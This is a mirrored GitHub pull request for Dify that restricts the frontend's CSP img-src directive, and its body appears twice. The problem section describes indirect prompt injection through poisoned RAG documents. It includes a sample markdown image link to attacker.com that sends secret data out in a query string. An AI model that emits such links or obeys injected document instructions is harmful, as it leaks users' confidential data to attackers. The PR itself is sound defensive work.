[PR #30934] fix: Add CSP for images in the frontend #33023

Open
opened 2026-02-21 20:52:31 -05:00 by yindo · 0 comments
Owner

Original Pull Request: https://github.com/langgenius/dify/pull/30934

State: open
Merged: No


Summary

Fixes #30874

Problem

The frontend allowed images from any source (img-src * data: blob:), enabling data exfiltration through indirect prompt injection attacks. An attacker could inject malicious RAG documents that cause the LLM to emit markdown like ![](https://attacker.com/steal?secret=DATA), leaking confidential information via HTTP requests.

Solution

Enforced strict CSP for image sources by:

  • Restricting img-src directive: Changed from img-src * data: blob: to img-src 'self' data: blob: ${imgWhiteList} in web/middleware.ts
  • Added environment variable: NEXT_PUBLIC_CSP_IMG_WHITELIST with default localhost whitelist (http://localhost:* http://127.0.0.1:*)
  • Updated configuration files:
    • web/.env.example - Added NEXT_PUBLIC_CSP_IMG_WHITELIST
    • docker/.env.example - Added CSP_IMG_WHITELIST
    • web/docker/entrypoint.sh - Added environment variable export mapping

Checklist

  • This change requires a documentation update, included: Dify Document
  • I understand that this PR may be closed in case there was no previous discussion or issues. (This doesn't apply to typos!)
  • I've added a test for each change that was introduced, and I tried as much as possible to make a single atomic change.
  • I've updated the documentation accordingly.
  • I ran make lint and make type-check (backend) and cd web && npx lint-staged (frontend) to appease the lint gods

Contribution by Gittensor, see my contribution statistics at https://gittensor.io/miners/details?githubId=147358252

**Original Pull Request:** https://github.com/langgenius/dify/pull/30934 **State:** open **Merged:** No --- ## Summary Fixes #30874 ### Problem The frontend allowed images from any source (`img-src * data: blob:`), enabling data exfiltration through indirect prompt injection attacks. An attacker could inject malicious RAG documents that cause the LLM to emit markdown like `![](https://attacker.com/steal?secret=DATA)`, leaking confidential information via HTTP requests. ### Solution Enforced strict CSP for image sources by: - **Restricting `img-src` directive**: Changed from `img-src * data: blob:` to `img-src 'self' data: blob: ${imgWhiteList}` in `web/middleware.ts` - **Added environment variable**: `NEXT_PUBLIC_CSP_IMG_WHITELIST` with default localhost whitelist (`http://localhost:* http://127.0.0.1:*`) - **Updated configuration files**: - `web/.env.example` - Added `NEXT_PUBLIC_CSP_IMG_WHITELIST` - `docker/.env.example` - Added `CSP_IMG_WHITELIST` - `web/docker/entrypoint.sh` - Added environment variable export mapping ## Checklist - [ ] This change requires a documentation update, included: [Dify Document](https://github.com/langgenius/dify-docs) - [x] I understand that this PR may be closed in case there was no previous discussion or issues. (This doesn't apply to typos!) - [x] I've added a test for each change that was introduced, and I tried as much as possible to make a single atomic change. - [x] I've updated the documentation accordingly. - [x] I ran `make lint` and `make type-check` (backend) and `cd web && npx lint-staged` (frontend) to appease the lint gods Contribution by Gittensor, see my contribution statistics at https://gittensor.io/miners/details?githubId=147358252
yindo added the pull-request label 2026-02-21 20:52:31 -05:00
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#33023